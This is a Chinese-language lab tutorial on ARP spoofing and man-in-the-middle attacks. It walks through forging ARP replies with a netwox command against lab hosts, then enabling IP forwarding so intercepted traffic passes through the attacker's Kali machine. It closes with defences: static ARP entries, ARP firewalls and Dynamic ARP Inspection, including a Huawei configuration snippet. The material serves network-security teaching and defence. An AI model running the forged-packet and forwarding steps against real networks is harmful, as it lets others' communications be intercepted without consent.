攻击者通过伪造一个ARP的reply包,发送给ARP请求者。由于ARP表的更新规则是,新的信息会覆盖旧的信息,所以攻击者利用这个原理,伪造数据包,将数据包的源MAC写为自己的MAC,源IP还是被请求者的IP,这样请求者收到消息后,会更新ARP表。这样就达到了攻击的效果。
攻击者伪造数据包:源MAC伪造为攻击者的MAC,源IP不变,目的IP和MAC也不变。这样就可以实现ARP中间人攻击。
攻击实现:
先在局域网中抓取PC1的ARP广播包。获取数据
PC1IP为:192.168.67.10 ,MAC为:54:89:98:b2:79:8f;PC2IP为:192.168.67.20,MAC为:54:89:98:a8:1b:fd。攻击者IP(kali)为192.168.67.131,MAC:00:0c:29:1b:d8:ae
伪造数据包:
这里使用的是netwox的33号工具。具体参数如下:
netwox 33 -b 54:89:98:b2:79:8f -e 2 -f 00:0c:29:1b:d8:ae -g 192.168.67.20 -h 54:89:98:b2:79:8f -i 192.168.67.1
伪造的数据包
攻击前ARP表
攻击之后的ARP表
开启攻击者的网卡转发功能。开启了网卡转发受害主机发送到目标主机的数据包会经过攻击者主机转发出去,这样攻击者就获得了受害主机的通讯数据。
vim /etc/sysctl.conf //编辑sysctl.conf
net.ipv4.ip_forward = 1 //设置为1
sysctl -p /etc/sysctl.conf //立即生效不需要重启
cat /proc/sys/net/ipv4/ip_forward //查看值是否为1,为1表示修改完成,为0表示没有修改
ARP防御
1、主机中手动建立静态ARP表
2、主机中用ARP防火墙来固化ARP表
3、交换中的DAI技术(动态ARP检测技术)
DAI交换机会自动记录主机的ARP信息,来获取主机的IP、MAC、VLAN,接口的绑定信息,会根据这些绑定信息来查看主机发出ARP的信息与绑定信息是否吻合,吻合就放行,不吻合就丢弃或者关闭该接口。
交换机只检查ARP包
ARP没有认证机制DAI相当于做了一套认证机制来防御ARP攻击。
当Router上部署动态ARP检测功能后,如果攻击者连接到Router并试图发送伪造的ARP 报文,Router会根据绑定表检测到这种攻击行为,对该ARP报文进行丢弃处理。如果 Router上同时开启了动态ARP检测丢弃报文告警功能,则当ARP报文因不匹配绑定表而 被丢弃的数量超过了告警阈值时,Router会发出告警通知管理员。
<Huawei>system-view
[Huawei]wlan
[Huawei-wlan-view]service-set name test
[Huawei-wlan-service-set-test]dai enable